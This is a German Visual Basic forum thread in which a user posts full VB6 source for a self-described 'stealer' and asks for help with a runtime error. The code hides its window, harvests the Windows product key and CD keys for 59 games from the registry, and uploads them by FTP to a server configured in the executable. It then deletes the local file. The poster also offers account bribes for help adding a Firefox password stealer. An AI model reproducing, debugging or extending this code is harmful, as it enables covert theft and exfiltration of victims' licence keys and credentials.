Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
  		RegistrierenRegistrieren  LoginLogin

Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
marcel1994_
Coder
Coder

Anmeldedatum: 08.02.2008
Beiträge: 202
Fehler - Code Falsch?
Verfasst am: 17.02.2008, 19:21
Also ich habe mir einen stealer gebastelt. nun wenn ich ihn starten will, zeigt er mir an:

Laufzeitfehler: 63

Falsche Datensatznummer

Habe ich was falsch gemacht? hier der Code:

Code:
Option Explicit
Private Sub Form_Load()
Form1.Visible = False
Dim options As String * 100
Dim cmd() As String
Dim host As String
Dim user As String
Dim pw As String
Dim WindowsKey As String
Dim Serials As String
Dim Inhalt(1 To 59) As String
Dim text(1 To 59) As String
Dim key As String

Inhalt(1) = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of Duty 4\codkey")
text(1) = "Call of Duty 4: " & Inhalt(1)
Inhalt(2) = RegRead("HKEY_LOCAL_MACHINE\Software\Activision\Call of Duty,codkey Chrome,HKLM\Software\Techland\Chrome,SerialNumber")
text(2) = "Call of Duty: " & Inhalt(2)
Inhalt(3) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Generals\ergc")
text(3) = "Command and Conquer Generals: " & Inhalt(3)
Inhalt(4) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Command and Conquer Generals Zero Hour\ergc")
text(4) = "Command and Conquer Generals Zero Hour: " & Inhalt(4)
Inhalt(5) = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Red Alert 2,Serial")
text(5) = "Command and Conquer Red Alert 2: " & Inhalt(5)
Inhalt(6) = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Red Alert,Serial")
text(6) = "Command and Conquer Red Alert: " & Inhalt(6)
Inhalt(7) = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Tiberian Sun,Serial")
text(7) = "Command and Conquer Tiberian Sun: " & Inhalt(7)
Inhalt(8) = RegRead("HKCU\Software\Valve\CounterStrike\Settings")
text(8) = "Counter-Strike: " & Inhalt(8)
Inhalt(9) = RegRead("HKEY_LOCAL_MACHINE\Software\Crytek\FarCry\Ubi.com,CDKey")
text(9) = "FarCry: " & Inhalt(9)
Inhalt(10) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\FIFA 2002\ergc")
text(10) = "FIFA 2002: " & Inhalt(10)
Inhalt(11) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\FIFA 2003\ergc")
text(11) = "FIFA 2003: " & Inhalt(11)
Inhalt(12) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\FIFA 2004\ergc")
text(12) = "FIFA 2004: " & Inhalt(12)
Inhalt(13) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Distribution\Freedom Force\ergc")
text(13) = "Freedom Force: " & Inhalt(13)
Inhalt(14) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Global Operations\ergc")
text(14) = "Global Operations: " & Inhalt(14)
Inhalt(15) = RegRead("HKCU\Software\Valve\Gunman\Settings")
text(15) = "Gunman Chronicles: " & Inhalt(15)
Inhalt(16) = RegRead("HKCU\Software\Valve\Half-Life\Settings")
text(16) = "Half-Life: " & Inhalt(16)
Inhalt(17) = RegRead("HKEY_LOCAL_MACHINE\Software\Illusion Softworks\Hidden & Dangerous 2,key")
text(17) = "Hidden and Dangerous 2: " & Inhalt(17)
Inhalt(18) = RegRead("HKEY_LOCAL_MACHINE\Software\IGI 2 Retail\CDKey,CDkey")
text(18) = "IGI2-Covert Strike: " & Inhalt(18)
Inhalt(19) = RegRead("HKCU\Software\JoWooD\InstalledGames\IG2")
text(19) = "Industry Giant 2: " & Inhalt(19)
Inhalt(20) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc")
text(20) = "James Bond 007 Nightfire: " & Inhalt(20)
Inhalt(21) = RegRead("HKCU\Software\3d0\Status")
text(21) = "Legends of Might and Magic: " & Inhalt(21)
Inhalt(22) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\ergc")
text(22) = "Medal of Honor Allied Assault: " & Inhalt(22)
Inhalt(23) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Breakthrough\ergc")
text(23) = "Medal of Honor Allied Assault-Breakthrough: " & Inhalt(23)
Inhalt(24) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Spearhead\ergc")
text(24) = "Medal of Honor Allied Assault-Spearhead: " & Inhalt(24)
Inhalt(25) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc")
text(25) = "Nascar Racing 2002: " & Inhalt(25)
Inhalt(26) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc")
text(26) = "Nascar Racing 2003: " & Inhalt(26)
Inhalt(27) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NBA LIVE 2003\ergc")
text(27) = "NBA LIVE 2003: " & Inhalt(27)
Inhalt(28) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NBA LIVE 2004\ergc")
text(28) = "NBA LIVE 2004: " & Inhalt(28)
Inhalt(29) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NHL 2002\ergc")
text(29) = "NHL 2002: " & Inhalt(29)
Inhalt(30) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NHL 2003\ergc")
text(30) = "NHL 2003: " & Inhalt(30)
Inhalt(31) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NHL 2004\ergc")
text(31) = "NHL 2004: " & Inhalt(31)
Inhalt(32) = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Nox,Serial")
text(32) = "NOX: " & Inhalt(32)
Inhalt(33) = RegRead("HKEY_LOCAL_MACHINE\Software\Red Storm Entertainment\RAVENSHIELD,CDKey")
text(33) = "Rainbow Six III RavenShield: " & Inhalt(33)
Inhalt(34) = RegRead("HKCU\Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings")
text(34) = "Soldiers Of Anarchy: " & Inhalt(34)
Inhalt(35) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edition\ergc")
text(35) = "Shogun Total War Warlord Edition: " & Inhalt(35)
Inhalt(36) = RegRead("HKEY_LOCAL_MACHINE\Software\Unreal Technology\Installed Apps\UT2003,CDKey")
text(36) = "Unreal Tournament 2003: " & Inhalt(36)
Inhalt(37) = RegRead("HKEY_LOCAL_MACHINE\Software\Unreal Technology\Installed Apps\UT2004,CDKey")
text(37) = "Unreal Tournament 2004: " & Inhalt(37)
Inhalt(38) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc")
text(38) = "Battlefield 1942: " & Inhalt(38)
Inhalt(39) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons of WWII\ergc")
text(39) = "Battlefield 1942 Secret Weapons Of WWII: " & Inhalt(39)
Inhalt(40) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rome\ergc")
text(40) = "Battlefield 1942 The Road To Rome: " & Inhalt(40)
Inhalt(41) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rome\ergc")
text(41) = "Battlefield 1942 The Road To Rome: " & Inhalt(41)
Inhalt(42) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc")
text(42) = "Battlefield Vietnam: " & Inhalt(42)
Inhalt(43) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Games\Battlefield 2\ergc")
text(43) = "Battlefield 2: " & Inhalt(43)
Inhalt(44) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\ergc")
text(44) = "Need For Speed Hot Pursuit 2: " & Inhalt(44)
Inhalt(45) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc")
text(45) = "Need For Speed Underground: " & Inhalt(45)
Inhalt(46) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Need for Speed Most Wanted\ergc")
text(46) = "Need For Speed Most Wanted: " & Inhalt(46)
Inhalt(47) = RegRead("HKCU\Software\Eugen Systems\The Gladiators")
text(47) = "The Gladiators: " & Inhalt(47)
Inhalt(48) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Deluxe\ergc")
text(48) = "The Sims Deluxe: " & Inhalt(48)
Inhalt(49) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Hot Date\ergc")
text(49) = "The Sims Hot Date: " & Inhalt(49)
Inhalt(50) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims House Party\ergc")
text(50) = "The Sims House Party: " & Inhalt(50)
Inhalt(51) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Livin' Large\ergc")
text(51) = "The Sims Livin: " & Inhalt(51)
Inhalt(52) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Superstar\ergc")
text(52) = "The Sims Superstar: " & Inhalt(52)
Inhalt(53) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Unleashed\ergc")
text(53) = "The Sims Unleashed: " & Inhalt(53)
Inhalt(54) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Vacation\ergc")
text(54) = "The Sims Vacation: " & Inhalt(54)
Inhalt(55) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims\ergc")
text(55) = "The Sims: " & Inhalt(55)
Inhalt(56) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\Sim City 4 Deluxe\ergc")
text(56) = "Sim City 4 Deluxe: " & Inhalt(56)
Inhalt(57) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\Sim City 4\ergc")
text(57) = "Sim City 4: " & Inhalt(57)
Inhalt(58) = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Games\The Battle for Middle-earth\ergc")
text(58) = "The Battle for Middle-earth: " & Inhalt(58)
Inhalt(59) = RegRead("HKEY_LOCAL_MACHINE\Software\Sunflowers\Anno 1701,SerialNo")
text(59) = "Anno 1701: " & Inhalt(59)

Open (App.Path & "\" & App.EXEName & ".exe") For Binary As #1
    Get #1, LOF(1) - 99, options
Close #1

cmd() = Split(options, "#")
host = cmd(0)
user = cmd(1)
pw = cmd(2)

Dim LocalFile As String
LocalFile = Environ("SystemDrive") & "\" & "pws.txt"

If FileExists(LocalFile) Then
Kill LocalFile
End If

If Not key = "" Then
key = sGetXPCDKey()

Open LocalFile For Output As #1
Print #1, WindowsKey:
Print #1,
Print #1, key
Print #1,
Print #1, Serials:
Print #1,
Print #1, text(1)
Print #1, text(2)
Print #1, text(3)
Print #1, text(4)
Print #1, text(5)
Print #1, text(6)
Print #1, text(7)
Print #1, text(8)
Print #1, text(9)
Print #1, text(10)
Print #1, text(11)
Print #1, text(12)
Print #1, text(13)
Print #1, text(14)
Print #1, text(15)
Print #1, text(16)
Print #1, text(17)
Print #1, text(18)
Print #1, text(19)
Print #1, text(20)
Print #1, text(21)
Print #1, text(22)
Print #1, text(23)
Print #1, text(24)
Print #1, text(25)
Print #1, text(26)
Print #1, text(27)
Print #1, text(28)
Print #1, text(29)
Print #1, text(30)
Print #1, text(31)
Print #1, text(32)
Print #1, text(33)
Print #1, text(34)
Print #1, text(35)
Print #1, text(36)
Print #1, text(37)
Print #1, text(38)
Print #1, text(39)
Print #1, text(40)
Print #1, text(41)
Print #1, text(42)
Print #1, text(43)
Print #1, text(44)
Print #1, text(45)
Print #1, text(46)
Print #1, text(47)
Print #1, text(48)
Print #1, text(49)
Print #1, text(50)
Print #1, text(51)
Print #1, text(52)
Print #1, text(53)
Print #1, text(54)
Print #1, text(55)
Print #1, text(56)
Print #1, text(57)
Print #1, text(58)
Print #1, text(59)
Close #1

Dim RemoteFile As String
RemoteFile = "" & Environ$("computername") & ".txt"

With Inet1
  .AccessType = icUseDefault
  .Protocol = icFTP
  .RemotePort = "21"
  .URL = cmd(0)
  .UserName = cmd(1)
  .Password = cmd(2)
  .Execute , "PUT " & LocalFile & " " & RemoteFile
End With

Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill LocalFile

Close
End If
End Sub


Den Rest ahbe ich in Module geschrieben ...
_________________
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248

Verfasst am: 17.02.2008, 19:32
Wenn du die Datei schließt, kannst du natürlich nicht mehr damit arbeiten.

Und bitte poste nicht immer so lange sources.
Des Teil mit der Datei hätts auch getan.
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
marcel1994_
Coder
Coder

Anmeldedatum: 08.02.2008
Beiträge: 202

Verfasst am: 18.02.2008, 13:57
ok zig, werde dies in zukunft ändern. aber ich verstehe deine antwort nicht ganz. warum kann ich wenn ich das prog schließe nichtmehr damit arbeiten?
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248

Verfasst am: 18.02.2008, 14:08
Sorry, hab übersehen dass du nach "close #1" Localfile öffnest.

Wäre aber übrigens Hilfreich in welcher Zeile der Fehler kommt.
Außerdem könntest du das Problem vielleicht umgehen wenn du nicht nur #1 für die Dateien benutzen würdest, oder zumindest zwischen dem Öffnen der Dateien auch mal ein DoEvents benutzt.
Evt. ist die Nummer noch nicht frei.
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
marcel1994_
Coder
Coder

Anmeldedatum: 08.02.2008
Beiträge: 202

Verfasst am: 18.02.2008, 14:35
o, danke zig. ich erkläre dir mal kurz was zum code:

über #1 laufen 2 "prozeduren. Erstensmal wird die windows seriennummer ausgelesen und dann werden die game serials gecheckt. alles beides läuft über #1. ist das ein fehler?

Achja: wie kann ich es machen, dass wenn ein RegSchlüssel nicht vorhanden ist, der dann in die txt schreibt, "Speil nicht vorhanden" ?
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248

Verfasst am: 18.02.2008, 14:48
Zitat:
über #1 laufen 2 "prozeduren. Erstensmal wird die windows seriennummer ausgelesen und dann werden die game serials gecheckt. alles beides läuft über #1. ist das ein fehler?


Nach einer Erklärung hab ich eigentlich nicht gefragt, sondern in welcher Zeile der Fehler kommt.

Und ob es der Fehler ist kann ich dir nicht genau sagen. Mußt du schon selbst ausprobieren.
Jedenfalls könnte es sein, dass die Dateinummer nicht so schnell freigegeben wird, bevor du sie schonwieder benutzen willst.

Wenn du den Key aus der Registry ausliest, und nichts zurückgegeben wird, schreibst du halt Spiel nicht vorhanden in die Datei.
Weiß nicht wo da ein Problem sein soll.
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
marcel1994_
Coder
Coder

Anmeldedatum: 08.02.2008
Beiträge: 202

Verfasst am: 18.02.2008, 15:12
Ich poste mal den source:

http://rapidshare.com/files/92888259/source.rar.html

@zig: ja was soll ich da denn schreiben: If File not exists = "Nicht vorhanden?"[/url]
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248

Verfasst am: 18.02.2008, 15:47
Ne, jetzt vergeht mir langsam die Lust.
Du bist nicht in der Lage richtig zu lesen was ich schreibe und dementsprechend zu antworten bzw. deinen code zu ändern, sondern willst nur dass ich dir deinen code verbessere.

Vielleicht hilft dir wer anderer.
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
marcel1994_
Coder
Coder

Anmeldedatum: 08.02.2008
Beiträge: 202

Verfasst am: 18.02.2008, 17:32

ne ich will in keinster weise dass du meinen code änderst und ihn hier fertig postest! eigentlich wollte ich nur, dass du dir den fehler genau anschauen kannst! irgendwie glaube ich, dass wenn ich poste, es immer so rüber kommt, dass ich den code fertig gemacht haben will! dies ist abe rnicht so ich möchte das alleine schaffen! Also, falls irgendjemand mir den fehler im code nennen kann, dann wäre ich ihm sehr dankbar.

EDIT: derjenige der mir sagt, wie ich den code verbessern muss und mir eventuell dabei hilft einen FF stealer mit einzubauen, bekommt einen rs.com acc (bis 25.02) + 1x Steam account! Ist jetzt vielleicht ein bisschen armselig aber ich brauche wirklich eure Hilfe!
_________________
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: code, falsch, for, artsea

  
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 868 09.06.2011, 12:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2431 06.03.2008, 20:19
Keine neuen Beiträge ListView speichern & laden 1242 05.08.2008, 12:32
Keine neuen Beiträge Registry & Co Fragen 1101 03.05.2007, 09:57
Keine neuen Beiträge Listbox speichern & laden 2047 22.03.2007, 20:25
 




[ Time: 0.4293s ][ Queries: 113 (0.0653s) ][ GZIP on - Debug on ]